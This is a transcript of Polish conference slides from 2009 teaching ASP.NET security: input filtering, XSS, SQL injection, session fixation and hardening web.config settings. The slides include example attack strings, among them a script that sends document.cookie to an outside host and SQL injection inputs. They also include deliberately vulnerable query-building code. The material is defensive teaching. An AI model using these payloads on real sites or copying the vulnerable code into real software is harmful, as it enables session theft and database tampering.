Bezpieczeństwo usług w ASP.NET

Transkrypt

Bezpieczeństwo usług w ASP.NET
Bezpieczeństwo usług w
ASP.NET
Gerard Frankowski
Zespół Bezpieczeństwa PCSS
XVI Spotkanie Poznańskiej Grupy ASP.NET
Poznań, 26.02.2009
Agenda
• Kim jesteśmy i co robimy?
-
PCSS i Zespół Bezpieczeństwa
Centrum Innowacji Microsoft
• Bezpieczeństwo IT a aplikacje webowe
-
Odpowiedzialność za bezpieczeństwo
ZagroŜenia i podatności aplikacji WWW
• Bezpieczeństwo aplikacji w ASP.NET
-
Bezpieczna implementacja kodu aplikacji
Konfiguracja ASP.NET
• Podsumowanie, pytania, dyskusja
2
Cel prezentacji
• Podniesienie świadomości na temat zagroŜeń
związanych z niezabezpieczonymi aplikacjami
w ASP.NET i wskazanie metod ochrony
• Prezentacja jest przeznaczona dla:
-
Programistów aplikacji ASP.NET
-
Administratorów serwerów hostujących aplikacje ASP.NET
-
Specjalistów ds. zabezpieczeń (częściowo)
• Wiele przytoczonych zasad ma charakter ogólny
3
Kim jesteśmy i co robimy?
4
PCSS
•
•
•
•
Poznańskie Centrum
Superkomputerowo-Sieciowe
Operator sieci PIONIER oraz
POZMAN
Uczestnik projektów
naukowo-badawczych
Główne obszary
zainteresowań:
-
•
Gridy, sieci nowej generacji,
portale
Bezpieczeństwo sieci
i systemów
http://www.pcss.pl
5
Zespół Bezpieczeństwa PCSS
•
Zespół Bezpieczeństwa PCSS istnieje od 1996r.
-
•
Najciekawsze badania z ostatnich lat
-
•
Zabezpieczanie infrastruktury PCSS
Zadania bezpieczeństwa w projektach R&D
Szkolenia, transfer wiedzy
Badania własne
Usługi zewnętrzne
Bezpieczeństwo komunikatorów internetowych
Badania sieci bezprzewodowych na terenie Poznania
Raport nt. bezpieczeństwa bankowości elektronicznej
Bezpieczeństwo serwerów WWW (Apache, MS IIS)
Bezpieczeństwo sklepów internetowych
http://security.psnc.pl
6
Centrum Innowacji Microsoft
•
•
Centrum bezpieczeństwa
i usług outsourcingowych
Partnerzy
-
•
•
Microsoft Polska
Poznańskie Centrum
Superkomputerowo-Sieciowe
Politechnika Poznańska
Otwarcie: 1.06.2006 r.
http://mic.psnc.pl
7
Wybrane zadania MIC 2006-2009
•
Technologie
-
•
Bezpieczeństwo
-
•
Interoperacyjność
Wirtualizacja
Wysokowydajne obliczenia komputerowe (HPC)
Wykorzystanie technologii Silverlight
Bezpieczne telekonsultacje medyczne
Program szkoleń bezpieczeństwa
Badania bezpieczeństwa serwera MS IIS
Program audytów bezpieczeństwa dla samorządów i MŚP
Usługi
-
Bezpłatny hosting dla uczelni, kół naukowych, organizacji
non-profit oraz studentów
Hosting portali społecznościowych, np. itcore.pl
8
Bezpieczeństwo IT a aplikacje
webowe
9
Dlaczego bezpieczeństwo jest
problemem dla twórców usług?
Dobrze
Drogo
Niebezpiecznie
Bezpiecznie
Tanio
Źle
10
Kto odpowiada za bezpieczeństwo?
• Decydenci / projektanci
-
Pomysł – jaka usługa będzie oferowana?
Przetarg: koszt, uŜyteczność a bezpieczeństwo
• Programiści
-
Odpowiednia implementacja projektu
Ograniczani przez zakres projektu oraz czas
• Administratorzy
-
Konfigurują i udostępniają usługę, system operacyjny,
sieć, urządzenia dostępowe,...
Ograniczeni przez moŜliwości usług i systemów,
budŜet na bezpieczeństwo, ...
• UŜytkownicy
-
Bezpieczeństwo to nie problem uŜytkownika...
...ale musi on znać niezbędne dobre praktyki
11
Specyfika usług internetowych
• Większość usług ma za zadanie dotrzeć do
maksymalnie licznej grupy docelowej
-
Przeciętny uŜytkownik nie posiada wiedzy na
temat bezpieczeństwa IT
Usługi są często zorientowane na uŜyteczność,
a nie na bezpieczeństwo
• Charakter przetwarzanych danych
-
Dane uwierzytelniające, osobowe (adres, wiek,
hasła dostępowe, ...)
Historia działań (np. zakupów)
Numery kart kredytowych, płatności
elektroniczne
12
Ogólne zagroŜenia usług WWW
• Ataki na serwery sieciowe
-
Szpiegostwo przemysłowe
Szkodzenie konkurencji
• Ataki na serwery i komputery uŜytkowników
-
Przejmowanie maszyn
KradzieŜ mocy obliczeniowej
KradzieŜ danych osobowych i toŜsamości
Rozsyłanie spamu
SzantaŜ
Organizowanie botnetów – ataki DDoS itd.
13
Wybrane podatności aplikacji WWW
• Błędy w projekcie i kodzie
-
Błędy w projektowaniu funkcjonalności
Znaczenie filtrowania danych
•
•
•
-
Ataki XSS (Cross Site Scripting)
Ataki SQL Injection
Ataki Remote Code Execution
Sesje internetowe
• Błędy w konfiguracji serwerów
-
Ataki Information Disclosure
Konfiguracja ASP.NET
Konfiguracja serwerów: IIS, MS SQL Server, ...
• PowyŜsza lista absolutnie nie wyczerpuje tematu!
14
Podatności bezpieczeństwa
w kodzie źródłowym
15
Główna przyczyna problemów
• Nieodpowiednie filtrowanie danych (lub jego
brak) to bezpośrednia przyczyna większości
najpowaŜniejszych luk bezpieczeństwa
-
Przepełnienie bufora (języki C/C++)
Błędy ciągów formatujących (C/C++)
XSS (Cross Site Scripting)
SQL Injection
Remote Code Execution
• Nie moŜna ufać Ŝadnym danym wejściowym,
zwłaszcza pochodzącym od uŜytkownika
-
TakŜe: bazy danych, zmienne środowiskowe, ...
• ALL INPUT IS EVIL !!!
16
Jak sytuacja wygląda w praktyce?
Grafika: http://webappsec.org
17
Filtrowanie danych (1)
• Nie najlepsze pomysły
-
Brak filtrowania danych
Filtrowanie danych po stronie klienta
18
Filtrowanie danych (2)
• Czarne listy (black lists)
-
Definiujemy wzorce odrzucanych danych
Zwykle wzorce pełnią rolę sygnatur ataków
Pozostałe dane są dopuszczane
Zaleta: często prostsza definicja
Wada: zbiór złośliwych danych zwykle trudno ściśle określić
• Białe listy (white lists)
-
Definiujemy wzorce danych dopuszczanych
Wszystkie dane niepasujące do wzorca odrzucamy
Zaleta: dobrze zdefiniowana lista nie przepuści złośliwego kodu
Wada: dla skomplikowanych pól (np. treść e-kartki z podzbiorem
znaczników HTML) łatwo popełnić błąd w definicji listy
19
Filtrowanie danych (3)
• WyraŜenia regularne
-
Przy ich pomocy łatwo zaimplementować białe i czarne listy
Przykład: przesłanie polskiego kodu pocztowego w adresie
URL (metoda GET - parametr code)
<%
set code = request.querystring("code")
set re = new RegExp
re.Pattern="^[0-9]{2,2}-[0-9]{3,3}$"
if re.Test(code) then
' Prawidlowy kod - normalne wykonanie skryptu
else
' Bledny kod - instrukcje obslugi bledow
end if
%>
20
Filtrowanie danych (4)
• Dodatkowe mechanizmy weryfikacji
-
Sprawdzanie typu i wartości
Enumeracja wartości (np. dni tygodnia, nazwy miesięcy)
21
Atak XSS - opis
• XSS: Cross Site Scripting
-
ZagroŜone są strony, na których wyświetlana treść częściowo
zaleŜy od uŜytkownika
•
•
•
komentarze, fora dyskusyjne
formularze internetowe, wyszukiwarki
strony pobierające parametry tekstowe metodą POST/GET
• Opis ataku
-
Napastnik wysyła do podatnej strony ciąg znaków będący
kodem np. JavaScript
•
-
Hej, to mój komentarz: <script>alert(document.cookie);</script>
Ciąg znaków staje się elementem strony WWW,
UŜytkownik-ofiara wyświetla zainfekowaną stronę
Przeglądarka uŜytkownika wykonuje kod agresora
22
Przygotowujemy atak XSS
• Najprostszy formularz w ASP
<html><body>
Hello,
<% response.write(" " & request.querystring("name")) %>
</body></html>
• http://localhost/test.asp?name=Word
XSS – najprostsze przykłady
•
http://localhost/test.asp?name=Word<script>aletrt(1)</script>
•
http://localhost/test.asp?name=Word<script>alert(document.cookie)</script>
XSS – ochrona aplikacji
• Przypadek: prosty formularz
<form name="formXSS" method="get" action="./user.asp">
The start year is 2003.<br>Enter the end year:
<input type="text" name="endyear"><br>
<input type="submit" value="Wyślij">
</form>
• Plik user.asp wykonuje długotrwałe obliczenia dla lat 2004
- endyear
Jak uchronić się przed atakiem DoS?
Naiwne filtrowanie danych u klienta
• Zabrońmy uŜytkownikowi wpisania dowolnej liczby!
The start year is 2003.<br>Enter the end
year:
<select name="endyear">
<option value='2004'>2004</option>
<option value='2005'>2005</option>
<option value='2006'>2006</option>
<option value='2007'
selected>2007</option>
</select>
• Jest to równowaŜne innym metodom sprawdzania
poprawności danych po stronie klienta (formatu,
zakresu danych itp.).
Ominięcie naiwnych zabezpieczeń
• Najprostszy sposób ominięcia ograniczeń
http://localhost/test/form.php?endyear=999999
• Wysyłanie formularza metodą POST jest bezpieczniejsze
<form name="formXSS" method="post"
action="http://localhost/test/user_post.asp">
The start year is 2003.<br>Enter the end year:
Ale wystarczy przechwycić Ŝądanie...
Ataki XSS - zagroŜenia (1)
• Utrudnianie Ŝycia uŜytkownikom
-
Wyskakujące okienka MessageBox
• KradzieŜ danych sesji uŜytkownika
-
Przesyłanie cookies na serwer kontrolowany przez napastnika
-
<script>document.location=”http://www.test.com.pl?a=”
+document.cookie</script>
• Nieautoryzowany dostęp do danych i operacji
-
<script>document.location=”./admin/delete.php?id=666"
;</script>
30
Ataki XSS - zagroŜenia (2)
• Ataki DoS na przeglądarkę
-
<MARQUEE><TABLE><MARQUEE HEIGHT=999999>
-
Więcej informacji: http://lcamtuf.coredump.cx/soft/mangleme.tgz
• Zaawansowane ataki XSS
-
Skanowanie portów TCP w sieci lokalnej ofiary
•
-
http://www.gnucitizen.org/projects/javascript-port-scanner
Podsłuchiwanie rozmów (ActiveX EasycallLite.ocx)
Odwołania do wybranych stron z przeglądarki ofiary
31
XSS – ochrona aplikacji (1)
• Weryfikacja danych po stronie serwera jest
niezbędna
Zwykle najlepszym sposobem jest podejście whitelist
- Najlepiej zastosować
-
•
•
wyraŜenia regularne dla sprawdzenia formatu
jeśli to zasadne – dodatkową weryfikację zakresu
Podejście blacklist jest mniej przydatne, choć lepsze niŜ
brak zabezpieczeń
-
• Oczywiście kontrola po stronie klienta teŜ jest przydatna
PomoŜe uŜytkownikowi (bardziej intuicyjny interfejs)
- Zablokuje „najgłupsze” ataki
-
XSS – ochrona aplikacji (2)
• Chronimy nasz formularz
set year = request.querystring("endyear")
set re = new RegExp
re.Pattern="^[0-9]{4}$"
if re.Test(year) then
if year > 2003 and year < 2008 then
for i = 2004 to year
response.write("<br>I am making long computations for
year " & i)
next
else
response.write("<br>You have entered a bad year number")
end if
else
response.write("<br>You have not entered a year number")
end if
XSS – ochrona aplikacji (3)
• Wbudowane mechanizmy ochrony
• Opcja dostępna od ASP.NET 1.0: ValidateRequest
więcej informacji: http://msdn2.microsoft.com/enus/library/ms972967.aspx
-
<%@ Page validateRequest=”true”...
• Od ASP.NET 1.1: HttpRequest.ValidateInput
Weryfikacja: zapytania, danych formularza oraz ciasteczek
- Nie moŜna wpływać na szczegóły działania
- Zgłasza wyjątek HttpRequestValidationException
- Więcej informacji: http://msdn2.microsoft.com/enus/library/system.web.httprequest.validateinput(VS.71).aspx
-
XSS – ochrona aplikacji (4)
• Uwaga na HttpRequest.ValidateInput!
try
{
HttpRequest.ValidateInput();
//str = HttpRequest.Form.AllKeys[0];
}
catch(HttpRequestValidationException e)
{
// bez odkomentowania wyjatek HttpRequestValidationException
// nigdy nie zostanie zgloszony
}
• Funkcja sama w sobie nie powoduje przeprowadzenia
walidacji, ustawia jedynie flagi wymuszające walidację po
próbie dostępu do kolekcji QueryString, Form i Cookies
obiektu HttpRequest
-Więcej:
http://weblogs.asp.net/vga/archive/2003/05/02/6329.aspx
Atak SQL Injection
• SQL Injection – atak na bazę danych
-
ZagroŜone są strony budujące zapytania bazodanowe przy pomocy
parametrów uzyskanych od uŜytkownika
• Przebieg ataku
-
-
Napastnik przekazuje złośliwe parametry do zapytania
Sfałszowane zapytanie powoduje wyświetlenie na wynikowej
stronie WWW innych danych niŜ zakładano, ich większej ilości lub
informacji o strukturze bazy
W skrajnym przypadku zostaje wykonane polecenie języka obsługi
baz danych
Napastnik moŜe uzyskać dalsze informacje, pozwalające mu lepiej
ukierunkować atak
36
Atak SQL Injection - podatny kod
• Strona pobiera z formularza parametr nazwisko
set nazwisko = request.form("nazwisko")
set objConn = Server.CreateObject("ADODB.Connection")
objConn.Open <CONNECTION_STRING>
strSQL = "SELECT * FROM pensje WHERE Nazwisko ='"
strSQL = strSQL & nazwisko
strSQL = strSQL & "'"
set objRS = Server.CreateObject("ADODB.Recordset")
objRS.Open strSQL, objConn
do while not objRS.EOF
response.write("<br>")
for each x in objRS.fields
response.write(" " & x.name & " = " & x.value & " ")
next
objRS.MoveNext
loop
objConn.Close
37
Atak SQL Injection - przykład
• Dostęp do danych
• Nazwisko: Baker’ or 1=1--
SQL Server 2005
SELECT * FROM pensje WHERE
Nazwisko = ‘Baker’ or 1=1--’
38
Atak SQL Injection - przykład 2
• Modyfikacja danych
-
SQL Server 2005
Nazwisko: ' insert into pensje
(Lp, Imie, Nazwisko, Pensja)
values (5, ‘Gerard’,
‘Frankowski', 10000)--
39
Atak SQL Injection - zagroŜenia
•
•
•
•
•
Nieautoryzowany dostęp do danych
Modyfikacja rekordów bazy danych
Dodanie lub usunięcie rekordów
Usunięcie bazy danych
Wykonywanie poleceń środowiska bazy danych
i potencjalnie poleceń systemowych
40
Atak SQL Injection - obrona
• Odpowiedzialny: programista
-
-
Filtrowanie danych wejściowych uŜytkownika pod kątem
obecności znaków specjalnych uŜywanej wersji języka
obsługi baz danych
Filtrowanie równieŜ danych odczytanych z bazy!
• Odpowiedzialny: administrator
-
Bezpieczna konfiguracja środowiska bazodanowego
•
•
-
Zasada minimalnych uprawnień
Odpowiednia polityka kontroli dostępu
Restrykcje dostępu na poziomie systemu operacyjnego
• Odpowiedzialność jest wspólna, a najlepsze
rezultaty przyniesie połączenie wysiłków
41
SQL Injection - przykład 2 ;)
Grafika: http://xkcd.com/327
42
Sesja internetowa
• Protokół HTTP jest bezstanowy
-
•
RozróŜnianie toŜsamości uŜytkowników jest kluczowe dla
korzystania z e-usług
Sesja internetowa
•
Identyfikowany przez session ID zbiór informacji o połączeniu
43
Ataki na sesje – przykład
• Warunki
-
Usługa umoŜliwia zdefiniowanie własnego session ID
• Przebieg ataku
-
Napastnik podsuwa ofierze link Jak oszukać skarbówkę? Kliknij tutaj!
•
Pod linkiem kryje się URL:
http://usluga.pl/<script>document.cookie=”sessionid=abcd”;</script>
-
Ofiara klika link, co powoduje nawiązanie sesji z usługą usluga.pl
identyfikatorem sesji abcd
-
Napastnik co jakiś czas próbuje nawiązać sesję z tym samym
identyfikatorem
-
Po udanej próbie napastnik przechwytuje sesję ofiary
44
z
Ataki na sesje – zagroŜenia
• Ujawnienie informacji o serwerze
-
Poszczególne serwery WWW obsługują sesje w róŜny sposób
• KradzieŜ sesji uŜytkownika
-
Podszycie się pod ofiarę
-
KradzieŜ toŜsamości ofiary...
-
... i jej konsekwencje: kradzieŜ danych, zawarcie fałszywej
umowy, kradzieŜ środków finansowych, uzyskanie danych
będących podstawą do szantaŜu, ...
-
JeŜeli powiodło się przejęcie sesji administratora serwisu,
moŜliwe jest wykonanie dowolnego działania w ramach portalu
45
Czy te zagroŜenia są realne?
• Styczeń 2008 - testy 50 sklepów internetowych
przeprowadzone przez Zespół Bezpieczeństwa PCSS
-
Test 1 – niedozwolone znaki w nazwie ciasteczka
Test 2 – próba wymuszenia błędu zapisu pliku sesji
Test 3 – odpowiedni czas Ŝycia ciasteczka
Test 4 – odpowiedni czas Ŝycia sesji
Test 5 – moŜliwość wymuszenia identyfikatora sesji
Test 6 – powiązanie identyfikatora sesji z adresem IP
Test 7 – stosowanie atrybutu httponly
• Więcej:
http://security.psnc.pl/reports/sklepy_internetowe_cookies.pdf
46
Rezultaty
Test 1
Test 2
Test 3
Test 4
Test 5
Test 6
Test 7
Kolor czerwony i
pochodne –
niebezpiecznie
Kolor zielony –
bezpiecznie
47
Jak moŜna przechowywać dane sesji?
• Przesyłanie metodą GET w adresie URL
-
Wyjątkowo podatne na ataki
• Wykorzystanie ukrytych pól formularzy
-
Podatne na ataki
Komplikuje budowę serwisu
• Ciasteczka (cookies)
-
Przechowywane na serwerze w bazie danych lub w plikach sesji
Przechowywane po stronie klienta za pośrednictwem
przeglądarki jako cookie
48
Zawartość ciasteczka
• Nazwa oraz skojarzona z nią wartość
-
Szczególnym z punktu widzenia bezpieczeństwa przypadkiem
są cookies zawierające informacje o sesji uŜytkownika
Informacje o sesji w ASP.NET
•
•
•
•
•
•
Identyfikator sesji jest 120-bitowym przypadkowym ciągiem
znaków, reprezentowanym przez 20-znakowy łańcuch
Nazwa ciasteczka brzmi ASP.NET_SessionId
Data wygaśnięcia
Domena (dokąd przeglądarka moŜe wysłać cookie)
ŚcieŜka (skąd ciasteczko jest widoczne na serwerze)
Atrybuty dodatkowe
49
Zwykłe ciasteczko w ASP.NET
<%
HttpCookie cookie = new HttpCookie(“licznik”);
cookie.Name
= “licznik”;
cookie.Value
= “yes”;
cookie.Expires
= #01/10/2008 11:00:00#;
cookie.Domain
= “www.example.com”;
cookie.Path
= “/licznik_dir”;
Response.Cookies.Add(cookie);
%>
50
ZagroŜenie atakiem Session Fixation
• Atak polega na nawiązaniu przez napastnika sesji
o określonym identyfikatorze
-
Skłonienie ofiary do nawiązania sesji o konkretnym ID
-
Brak uniewaŜniania wykorzystanych ID sesji
• Platforma Microsoft ASP nie zapewnia bezpośredniego
wsparcia dla powtórnej generacji ID sesji
-
Microsoft zamknął zgłoszenie uŜytkownika we wspomnianym
zakresie, uznając je za „nie do naprawienia”
(https://connect.microsoft.com/feedback/viewfeedback.aspx?Fe
edbackID=143361&wa=wsignin1.0&siteid=210)
-
Niestety, ASP nie pozwala ponadto na bezpośredni dostęp (zapis)
do cookie ASP.NET_SessionId
51
Session fixation - ochrona
• Porady Microsoftu dostępne pod adresem:
-
http://support.microsoft.com/kb/899918
• Podejście OWASP:
-
Generacja dodatkowego ciasteczka, któremu nadajemy wartość
toŜsamą z ID sesji (moŜemy ją odczytać)
-
Porównywanie zawartości dodatkowego ciasteczka z ID sesji
-
JeŜeli wartości są róŜne, uniewaŜniamy sesję
-
Więcej informacji + przykład
http://www.owasp.org/index.php/Session_Fixation_Protection
• Wykorzystanie uwierzytelniania Windows Forms
zmniejsza zagroŜenie dzięki uŜyciu dodatkowego tokena
52
Czas waŜności ciasteczka
• Im dłuŜszy czas waŜności, tym łatwiejsze jest przejęcie
sesji o wykradzionym identyfikatorz (Session Hijacking)
• Czas waŜności sesji zaleŜy od tego, jak „cenna” jest
aplikacja
-
Bankowość internetowa - rzędu kilku(nastu) minut
Serwis społecznościowy, bramka SMS - np. godzina
Standard OWASP: 5 minut!
Dim myCookie As New HttpCookie(“testCookie”)
Dim expDate As DateTime
expDate = DateTime.Now.AddMinutes(5)
myCookie.Expires = expDate
Response.Cookies.Add(myCookie)
53
Właściwości obiektu HttpCookie (1)
• Właściwość HttpOnly
-
Określa, czy cookie moŜe zostać odczytane poprzez aktywną
zawartość witryny
-
Pozwala uchronić się przed atakami XSS wykonywanymi przy
pomocy wstrzyknięcia kodu typu
<script>...document.cookie<script>
• Właściwość Secure
-
Definiuje poziom bezpieczeństwa ciasteczka (jest flagą)
Jeśli ustawiona, umoŜliwia obsługę cookie tylko za
pośrednictwem protokołu HTTPS
54
Właściwości obiektu HttpCookie (2)
• Definicja bezpieczniejszego ciasteczka
Dim myCookie As New HttpCookie(“testCookie”)
myCookie.HttpOnly = true
myCookie.Secure = true
Response.Cookies.Add(cookie)
55
Powiązanie ID sesji z adresem IP
• Przesłanie ciasteczka o danym ID spod innego adresu,
niŜ zapisany po stronie serwera powoduje
uniewaŜnienie sesji
• Zaleta: poprawa bezpieczeństwa
-
Zabezpieczenie przed kradzieŜą sesji
• Wady:
-
Utrudnienie korzystania z usług uŜytkownikom bez stałego
adresu IP
• Realny przykład byłby dość skomplikowany ;) zachęcam
do testów własnych
56
Bezpieczne sesje - podsumowanie
• Odpowiedzialność po stronie administratora
-
Odpowiednia konfiguracja serwera WWW / .NET
•
Unikanie wyświetlania szczegółowych informacji o błędach
uŜytkownikowi
• Odpowiedzialność po stronie
projektanta/programisty
-
Bezpieczna konfiguracja sesji
• Najlepsze wyniki przyniesie
połączenie obu podejść
57
Błędy w konfiguracji ASP.NET
58
Pliki konfiguracyjne ASP.NET
• Specyfika plików konfiguracyjnych ASP.NET
-
Pliki tekstowe w formacie XML
Brak dedykowanego narzędzia producenta wspierającego edycję
• Pliki konfiguracyjne dla komputera
-
machine.config
(%SystemRoot%\Microsoft.NET\Framework\%wersja%\CONFIG\)
• Pliki konfiguracyjne dla aplikacji
-
web.config (w katalogu głównym i/lub podkatalogach)
• Pliki konfiguracji zabezpieczeń Code Access Security
-
Enterprise Policy: enterprisesec.config
Machine and User Policy: security.config
ASP.NET Policy: web_hightrust.config, web_mediumtrust.config59
,
web_lowtrust.config, web_minimaltrust.config
Top 10 don’ts in ASP.NET
configuration files (1)
• PoniŜsze błędne praktyki dotyczyć mogą wszystkich
aplikacji webowych opartych na ASP.NET
-
Custom Errors Disabled
Leaving Tracing Enabled
-
Leaving Debugging Enabled
Cookies Accessible Through Client-Side Script
-
Cookieless Session State Enabled
-
• Więcej informacji:
-
http://www.devx.com/dotnet/Article/32493
60
Custom Errors Disabled
• Nieprawidłowa konfiguracja
<configuration>
<system.Web>
<customErrors mode="Off">
• Prawidłowa konfiguracja
<configuration>
<system.Web>
<customErrors mode="RemoteOnly">
• Znaczenie:
-
Wyłączenie trybu customErrors spowoduje, Ŝe zdalny uŜytkownik
ujrzy szczegółowy opis błędu, takŜe z fragmentami kodu
Dla lokalnych Ŝądań warto pozostawić tryb debugowy
61
Nieprawidłowa konfiguracja
62
Prawidłowa konfiguracja
63
Prawidłowa konfiguracja (2)
• To jeszcze nie jest sytuacja idealna
-
Właściwe będzie przygotowanie własnych plików
niezawierających informacji konfiguracyjnych, a np.
przekazujących kontakt do administratora systemu lub
helpdesku
-
Odpowiednia sekcja pliku machine.config:
<customErrors mode="RemoteOnly">
<error statusCode="404" redirect="errors/e404.htm">
<error statusCode=”500" redirect="errors/e500.htm">
</customErrors>
64
Leaving Tracing Enabled
• Nieprawidłowa konfiguracja
<configuration>
<system.Web>
<trace enabled="true" localOnly="false">
• Prawidłowa konfiguracja
<configuration>
<system.Web>
<trace enabled="false" localOnly="true">
• Znaczenie:
-
Włączenie flagi powoduje, Ŝe zdalny uŜytkownik moŜe uzyskać
dostęp do duŜej ilości wraŜliwych danych, np. struktury
poprzednich Ŝądań do serwera, szczegółów jego konfiguracji,
danych przesłanych w formularzach...
65
Tajemniczy
plik
trace.axd ;)
66
Leaving Debugging Enabled
• Nieprawidłowa konfiguracja
<configuration>
<system.Web>
<compilation debug="true">
• Prawidłowa konfiguracja
<configuration>
<system.Web>
<compilation debug="false">
• Znaczenie:
-
Pozostawienie włączonej flagi debug umoŜliwia ujawnienie
większej ilości informacji napastnikowi
Nawet prawidłowe ustawienie customErrors nie wystarczy,
poniewaŜ niektóre narzędzia deweloperskie mogą ujawnić treść
komunikatów błędów
67
Cookies Accessible Through Client-Side
Script
• Nieprawidłowa konfiguracja
<configuration>
<system.Web>
<httpCookies httpOnlyCookies="false">
• Prawidłowa konfiguracja
<configuration>
<system.Web>
<httpCookies httpOnlyCookies="true">
• Znaczenie:
-
Ustawienie true spowoduje, Ŝe aktywna zawartość strony nie
będzie mieć dostępu do cookies
Czy nam to czegoś nie przypomina?
68
Cookieless Session State Enabled
• Nieprawidłowa konfiguracja
<configuration>
<system.Web>
<sessionState cookieless="UseUri">
• Prawidłowa konfiguracja
<configuration>
<system.Web>
<sessionState cookieless="UseCookies">
• Znaczenie:
-
Wartość UseCookies wymusza przechowywanie danych sesji przy
pomocy mechanizmu ciasteczek, a nie przekazywanie ich przez
adres URL
69
Top 10 don’ts in ASP.NET
configuration files (2)
• PoniŜsze błędne praktyki dotyczą aplikacji webowych
opartych na ASP.NET, w których wykorzystuje się
uwierzytelnianie Windows Forms
-
Cookieless Authentication Enabled
Failure to Require SSL for Authentication Cookies
-
Sliding Expiration Used
Non-Unique Authentication Cookie Used
-
Hardcoded Credentials Used
-
• Więcej informacji:
-
http://www.devx.com/dotnet/Article/32493
70
Poziomy zaufania CAS
• Aplikacji moŜna przypisać 1 z 5 poziomów zaufania
-
Full
High
-
Medium
Low
-
Minimal
-
• MoŜliwe jest takŜe przygotowanie własnej definicji
poziomu zaufania
• Szczególnie w przypadku oferowania hostingu dla
podmiotów zewnętrznych poziom Full NIE JEST
dobrym pomysłem!
71
High
No unmanaged code
No enterprise services
Can access SQL Server and other OLE DB data sources
CAS
Very limited reflection permissions
No ability to invoke code by using reflection
A broad set of other framework features are available
Medium
Applications have full access to the file system, and to sockets
Permissions are limited to what the application can access within the directory
structure of the application
No file access is permitted outside of the application's virtual directory hierarchy
Can access SQL Server
Can send e-mail by using SMTP servers
Limited rights to certain common environment variables
No reflection permissions whatsoever
No sockets permission
To access Web resources, you must explicitly add endpoint "URLs" — either in the
Low
Minimal
originUrl attribute of the <trust> element or inside the policy file
Intended to model the concept of a read-only application with no network
connectivity
Read only access for file I/O within the application's virtual directory structure
Execute only
No ability to change the "IPrincipal" on a thread or on the "HttpContext".
72
Błędna konfiguracja
• Plik web.config
<location allowOverride="true">
<system.web>
<securityPolicy>
<trustLevel name="Full" policyFile="internal"/>
<trustLevel name="High" policyFile="web_hightrust.config"/>
<trustLevel name="Medium"
policyFile="web_mediumtrust.config"/>
<trustLevel name="Low" policyFile="web_lowtrust.config"/>
<trustLevel name="Minimal"
policyFile="web_minimaltrust.config"/>
</securityPolicy>
<trust level="Full" originUrl=""/>
</system.web>
</location>
73
Jak sprawdzić jej skutki?
•
•
Narzędzia
– Dinis Cruz, OWASP
zę
-
http://www.owasp.org
-
ANSA – Asp.Net Security Analyser – V0_31b
-
ANBS – Asp.Net Baseline Security – v. 0.55
Pobrane narzędzia wgrywamy do głównego
katalogu
łó
aplikacji WWW i uruchamiamy
-
http://<web_app>/ANSA_V0_31b/default.aspx
-
http://<web_app>/ANBS_V0_55/ANBSFiles/default.asp
74
75
76
Problemy
• Zbyt wysoki poziom zaufania
-
Jak go obniŜyć?
Jak zapewnić, Ŝe uŜytkownik pojedynczej aplikacji go nie
zmieni?
Czy moŜna zróŜnicować poziom zaufania między
aplikacjami?
• Konfiguracja systemu - moŜliwość wykonania
poleceń systemowych:
-
Za pośrednictwem WSCRIPT.SHELL
Przy pomocy interfejsu WMI
Dzięki wywołaniom WinExec API
• Ponownie widać, jak istotne jest współgranie
róŜnych elementów zabezpieczeń!
77
ObniŜamy poziom zaufania (1)
• Średni poziom zaufania dla wszystkich aplikacji na
konkretnym serwerze
<location allowOverride="false">
<system.web>
<securityPolicy>
...
</securityPolicy>
<trust level="Medium" originUrl="" />
</system.web>
</location>
78
ObniŜamy poziom zaufania (2)
• ZróŜnicowanie poziomu zaufania w pliku machine.config
<location path="app1.pl" allowOverride="false">
<system.web>
<trust level="Medium" originUrl="" />
</system.web>
</location>
<location path="myadminapp" allowOverride="false">
<system.web>
<trust level=”High" originUrl="" />
</system.web>
</location>
79
Konfigurujemy system
• Mimo dostosowania ustawień ASP.NET najlepiej
będzie nie pominąć dodatkowego utwardzenia
systemu
-
-
-
Zablokowanie dostępu do obsługi Windows Management
Instrumentation dla wszystkich uŜytkowników poza
administratorem systemu przy wykorzystaniu aplikacji
Zarządzanie Komputerem
Zablokowanie moŜliwości tworzenia obiektów Windows
Script Host innym uŜytkownikom niŜ administrator
systemu
Aplikacje webowe nigdy nie powinny korzystać z konta
posiadającego uprawnienia SYSTEM
• To przykład podejścia Defence-in-depth
80
Bezpieczna konfiguracja podsumowanie
• Ograniczenie poziomu zaufania aplikacji webowych
• ZastrzeŜenie dostępu do informacji wewnętrznych (np.
szczegółowych komunikatów o błędach)
• Odpowiednie uŜycie
• Konfiguracja serwera WWW
-
Tworzenie pul aplikacji i limitów dla pul
• Konfiguracja systemu operacyjnego
-
Zasada minimalnych przywilejów (korzystamy z konta ASPNET,
nie z konta systemowego!)
ZastrzeŜenie dostępu do interfejsów umoŜliwiających
81
wywoływanie poleceń systemowych
Podsumowanie
82
Bezpieczeństwo usługi
• Nie ma idealnego remedium
• Bezpieczna usługa musi być:
-
Odpowiednio zaprojektowana
Dobrze napisana
NaleŜycie skonfigurowana
Zainstalowana na skutecznie chronionym serwerze
Obsługiwana przez rozsądnego uŜytkownika
Regularnie audytowana
• Wszystkie powyŜsze elementy tworzą spójną
całość, największe problemy to:
-
Dostarczenie wiedzy dla wszystkich
zainteresowanych stron
Ułatwienie działań sobie, ale i innym
• Defence-in-depth
83
Co warto zapamiętać?
• Usługi internetowe są naraŜone na szereg ataków
-
Szczególnie zagroŜone są usługi związane z przepływem
danych osobowych i środków finansowych (np. e-sklepy,
portale społecznościowe)
• Główną rolę w zabezpieczaniu e-usług odgrywają ich
twórcy oraz administratorzy systemów
-
NajpowaŜniejszym i najczęściej występującym błędem na
poziomie kodu źródłowego jest nieodpowiednie filtrowanie
danych lub jego brak
• Odpowiednie zabezpieczenie usług to kwestia
kluczowa i złoŜona, ale nie do uniknięcia
• ”Knowing how to live with insecurity is the only
security” – J. Allen Paulos
84
Więcej informacji (przykłady)
• Cykl artykułów na portalu Startup-it.pl, rozszerzający
tematykę dzisiejszej prezentacji (takŜe o kod PHP)
• Raport Zespołu Bezpieczeństwa PCSS nt.
bezpieczeństwa e-sklepów (np. sesje internetowe)
-
http://security.psnc.pl/reports/sklepy_internetowe_cookies.pdf
• Szkolenia MIC
-
http://mic.psnc.pl/pl/events/ev_181207.html (bezpieczny kod)
• TOP 10 Don’ts in ASP.NET configuration files
-
http://www.devx.com/dotnet/Article/32493
• The Open Web Application Security Project (m.in.
narzędzie ANSA)
-
http://www.owasp.org
85
Ciekawe pozycje ksiąŜkowe
• Tworzenie bezpiecznych aplikacji
Microsoft ASP.NET
